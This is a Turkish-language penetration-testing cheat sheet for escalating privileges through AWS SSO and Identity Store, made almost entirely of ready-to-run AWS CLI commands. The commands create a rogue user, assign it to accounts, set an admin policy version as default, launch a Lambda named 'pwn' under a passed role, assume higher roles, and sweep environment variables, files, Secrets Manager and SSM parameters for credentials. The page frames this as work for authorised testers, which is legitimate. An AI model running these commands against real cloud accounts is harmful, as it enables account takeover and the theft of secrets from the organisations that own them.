Skip to content

AWS - SSO & identitystore Privesc

AWS privesc

AWS - SSO & identitystore Privesc — AWS ortamında yetki yükseltme ve rol/identity zinciri notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Mevcut principal izinlerini (inline/attached/bound) çıkar.

  2. PassRole / setIamPolicy / impersonate / admin primitiflerini doğrula.

  3. Yüksek yetkili role/identity’e geçiş PoC’si çalıştır.

  4. Yeni kimlikle hesap/proje etkisini kanıtla.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
aws sts get-caller-identity
Terminal window
aws configure list
Terminal window
echo $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'

AWS - SSO & identitystore Privesc için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
aws sso-admin list-permission-sets --instance-arn ARN
Terminal window
aws sso-admin list-accounts-for-provisioned-permission-set --instance-arn ARN --permission-set-arn PS
Terminal window
aws identitystore list-users --identity-store-id ID
Terminal window
aws identitystore create-user --identity-store-id ID --user-name evil --display-name evil --emails Value=evil@x.com,Type=work,Primary=true
Terminal window
aws sso-admin create-account-assignment --instance-arn ARN --target-id ACCOUNT --target-type AWS_ACCOUNT --permission-set-arn PS --principal-type USER --principal-id UID
Terminal window
aws sso-admin list-instances

Yazma / PassRole / IAM policy / impersonation başarılıysa yeni kimlikle tekrar enum et.

Terminal window
aws iam create-policy-version --policy-arn ARN --policy-document file://admin.json --set-as-default
Terminal window
aws lambda create-function --function-name pwn --runtime python3.12 --role arn:aws:iam::ACCOUNT:role/ROLE --handler h.handler --zip-file fileb://p.zip
Terminal window
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT:role/TARGET --role-session-name escalated

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
aws secretsmanager list-secrets
Terminal window
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt